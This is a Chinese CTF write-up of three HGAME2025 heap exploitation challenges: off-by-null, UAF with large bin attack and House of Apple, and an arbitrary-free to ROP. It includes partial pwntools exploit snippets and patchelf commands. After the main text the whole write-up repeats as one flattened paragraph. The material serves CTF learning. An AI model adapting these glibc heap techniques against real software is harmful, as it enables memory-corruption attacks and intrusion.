hgame2025 week2 pwn全题解
字数 1796 2025-08-29 08:30:36

HGAME2025 Week2 Pwn题全解析

题目1: sign2heap

题目概述

  • 保护机制:全开
  • Libc版本:2.27(已开启tcache bin)
  • 漏洞类型:Off-by-null

环境准备

使用patchelf将libc-2.27.so和ld.so链接到程序上:

patchelf --replace-needed libc.so.6 ./libc-2.27.so ./vuln
patchelf --set-interpreter ./ld.so ./vuln

程序分析

  1. 功能一:创建堆块

    • 最多创建16个堆块
    • 堆块大小不超过0xff
    • 漏洞点:read输入后会将最后一字节设置为'\x00',导致off-by-null漏洞
  2. 功能二:删除堆块(menu函数写反了)

    • 正常释放堆块并将指针清零
    • 无漏洞
  3. 功能三:打印堆块内容

利用思路

  1. 堆布局:

    • 创建0x80大小的堆块1
    • 创建0x18大小的堆块2(用于off-by-null)
    • 创建0xf0大小的堆块3
    • 创建7个0x80和7个0xf0堆块填满tcache
  2. 利用off-by-null:

    • 释放堆块1
    • 使用堆块2修改堆块3的pre_size和size位
  3. 合并堆块:

    • 释放堆块3,使其与堆块1、堆块2合并
  4. 泄露libc地址:

    • 申请8个0x80大小堆块,使main_arena落入堆块1
    • show堆块1泄露libc地址
  5. 最终利用:

    • 申请0x10大小堆块制造double free
    • 修改fd指向malloc_hook
    • 写入one_gadget

EXP关键代码

# 堆布局
add(0, 0x80, b'A'*0x80)
add(1, 0x18, b'B'*0x18)
add(2, 0xf0, b'C'*0xf0)

# 填满tcache
for i in range(7):
    add(3+i, 0x80, b'D'*0x80)
for i in range(7):
    add(10+i, 0xf0, b'E'*0xf0)

# 释放堆块1并利用off-by-null
delete(0)
payload = b'B'*0x10 + p64(0x90 + 0x20)
add(1, 0x18, payload)

# 释放堆块3触发合并
delete(2)

# 泄露libc
for i in range(7):
    delete(3+i)
for i in range(8):
    add(3+i, 0x80, b'F'*0x80)
show(0)

题目2: Where is the vulnerability

题目概述

  • 保护机制:全开(除canary)
  • Libc版本:2.39
  • 额外文件:libhgame.so
  • 沙箱限制:禁用execve(需ORW)

环境准备

patchelf --replace-needed libc.so.6 ./libc-2.39.so ./vuln
patchelf --set-interpreter ./ld.so ./vuln
chmod +x libhgame.so libc-2.39.so ld.so

程序分析

  1. 沙箱限制:在libhgame.so的init函数中禁用了execve

  2. 功能一:创建堆块

    • 最多16个堆块
    • 大小范围0x500-0x900(unsorted bin范围)
  3. 功能二:释放堆块

    • 存在Use-after-free漏洞(指针未清零)
  4. 功能三/四:修改/打印堆块内容

利用思路

  1. 堆布局:

    • 创建0x518大小的堆块1
    • 创建堆块2防止合并
    • 创建0x508大小的堆块3(用于large bin attack)
    • 创建堆块4防止合并
  2. 泄露地址:

    • 释放堆块1进入unsorted bin
    • 申请0x530堆块使堆块1进入large bin
    • 利用UAF泄露libc和heap地址
  3. Large bin attack:

    • 释放堆块3进入unsorted bin
    • 伪造堆块1的bk_nextsize为_IO_list_all-0x20
    • 申请0x528堆块触发攻击
  4. House of Apple:

    • 利用伪造的IO_FILE结构体进行ORW

EXP关键代码

# 堆布局
add(0, 0x518, b'A'*0x518)
add(1, 0x18, b'B'*0x18)
add(2, 0x508, b'C'*0x508)
add(3, 0x18, b'D'*0x18)

# 泄露libc
delete(0)
add(4, 0x530, b'E'*0x530)
show(0)

# Large bin attack
delete(2)
payload = p64(0)*3 + p64(libc.sym._IO_list_all - 0x20)
edit(0, payload)
add(5, 0x528, b'F'*0x528)

# House of Apple
fake_file = IO_FILE_plus()
# 设置伪造的IO_FILE结构体

题目3: Hit list

题目概述

  • 保护机制:全开
  • Libc版本:2.35
  • 特殊功能:gift函数(一次任意地址free)

程序分析

  1. 节点结构

    • "结构堆块":包含节点下标、下一个结构地址、number值、内容堆块地址
    • "内容堆块":前8字节为name,后面为用户输入内容
  2. gift函数

    • 创建-9大小堆块时触发
    • 提供一次任意地址free机会
  3. 功能一:创建节点

  4. 功能二:删除节点

  5. 功能三:修改节点内容

  6. 功能四:打印节点内容

利用思路

  1. 泄露heap地址:

    • 释放"结构堆块"后申请回来作为"内容堆块"
    • 通过打印泄露heap地址
  2. 泄露libc地址:

    • 释放8个unsorted bin大小堆块
    • 申请回来泄露fd/bk中的libc地址
  3. 利用gift函数:

    • 释放tcache_perthread_struct
    • 申请回来伪造释放environ
    • 获取stack地址
  4. ROP链构造:

    • 将函数返回地址写入tcache_perthread_struct
    • 申请回来写入ROP链

EXP关键代码

# 泄露heap地址
add(0, 0x100, b'A'*0x100)
delete(0)
add(1, 0x100, p64(0)*3 + p64(0x21))
show(0)

# 泄露libc地址
for i in range(8):
    add(2+i, 0x500, b'B'*0x500)
for i in range(8):
    delete(2+i)
add(10, 0x500, b'C'*8)
show(10)

# 利用gift函数
add(11, -9, p64(heap_base + 0x10))
add(12, 0x100, p64(libc.sym.environ))
show(12)

# 构造ROP链
rop = ROP(libc)
# 设置ROP链内容

总结

  1. sign2heap:利用off-by-null进行堆合并,通过tcache机制泄露地址并劫持控制流

  2. Where is the vulnerability:在libc 2.39环境下,利用large bin attack结合house of apple绕过沙箱限制

  3. Hit list:利用特殊的一次任意地址free机会,通过精心设计的堆布局泄露关键地址并最终构造ROP链

关键点:

  • 不同libc版本下的利用技术差异
  • 沙箱绕过技术(ORW)
  • 堆布局和地址泄露技巧
  • 一次任意地址free的高效利用
HGAME2025 Week2 Pwn题全解析 题目1: sign2heap 题目概述 保护机制:全开 Libc版本:2.27(已开启tcache bin) 漏洞类型:Off-by-null 环境准备 使用patchelf将libc-2.27.so和ld.so链接到程序上: 程序分析 功能一 :创建堆块 最多创建16个堆块 堆块大小不超过0xff 漏洞点:read输入后会将最后一字节设置为'\x00',导致off-by-null漏洞 功能二 :删除堆块(menu函数写反了) 正常释放堆块并将指针清零 无漏洞 功能三 :打印堆块内容 利用思路 堆布局: 创建0x80大小的堆块1 创建0x18大小的堆块2(用于off-by-null) 创建0xf0大小的堆块3 创建7个0x80和7个0xf0堆块填满tcache 利用off-by-null: 释放堆块1 使用堆块2修改堆块3的pre_ size和size位 合并堆块: 释放堆块3,使其与堆块1、堆块2合并 泄露libc地址: 申请8个0x80大小堆块,使main_ arena落入堆块1 show堆块1泄露libc地址 最终利用: 申请0x10大小堆块制造double free 修改fd指向malloc_ hook 写入one_ gadget EXP关键代码 题目2: Where is the vulnerability 题目概述 保护机制:全开(除canary) Libc版本:2.39 额外文件:libhgame.so 沙箱限制:禁用execve(需ORW) 环境准备 程序分析 沙箱限制 :在libhgame.so的init函数中禁用了execve 功能一 :创建堆块 最多16个堆块 大小范围0x500-0x900(unsorted bin范围) 功能二 :释放堆块 存在Use-after-free漏洞(指针未清零) 功能三/四 :修改/打印堆块内容 利用思路 堆布局: 创建0x518大小的堆块1 创建堆块2防止合并 创建0x508大小的堆块3(用于large bin attack) 创建堆块4防止合并 泄露地址: 释放堆块1进入unsorted bin 申请0x530堆块使堆块1进入large bin 利用UAF泄露libc和heap地址 Large bin attack: 释放堆块3进入unsorted bin 伪造堆块1的bk_ nextsize为_ IO_ list_ all-0x20 申请0x528堆块触发攻击 House of Apple: 利用伪造的IO_ FILE结构体进行ORW EXP关键代码 题目3: Hit list 题目概述 保护机制:全开 Libc版本:2.35 特殊功能:gift函数(一次任意地址free) 程序分析 节点结构 : "结构堆块":包含节点下标、下一个结构地址、number值、内容堆块地址 "内容堆块":前8字节为name,后面为用户输入内容 gift函数 : 创建-9大小堆块时触发 提供一次任意地址free机会 功能一 :创建节点 功能二 :删除节点 功能三 :修改节点内容 功能四 :打印节点内容 利用思路 泄露heap地址: 释放"结构堆块"后申请回来作为"内容堆块" 通过打印泄露heap地址 泄露libc地址: 释放8个unsorted bin大小堆块 申请回来泄露fd/bk中的libc地址 利用gift函数: 释放tcache_ perthread_ struct 申请回来伪造释放environ 获取stack地址 ROP链构造: 将函数返回地址写入tcache_ perthread_ struct 申请回来写入ROP链 EXP关键代码 总结 sign2heap :利用off-by-null进行堆合并,通过tcache机制泄露地址并劫持控制流 Where is the vulnerability :在libc 2.39环境下,利用large bin attack结合house of apple绕过沙箱限制 Hit list :利用特殊的一次任意地址free机会,通过精心设计的堆布局泄露关键地址并最终构造ROP链 关键点: 不同libc版本下的利用技术差异 沙箱绕过技术(ORW) 堆布局和地址泄露技巧 一次任意地址free的高效利用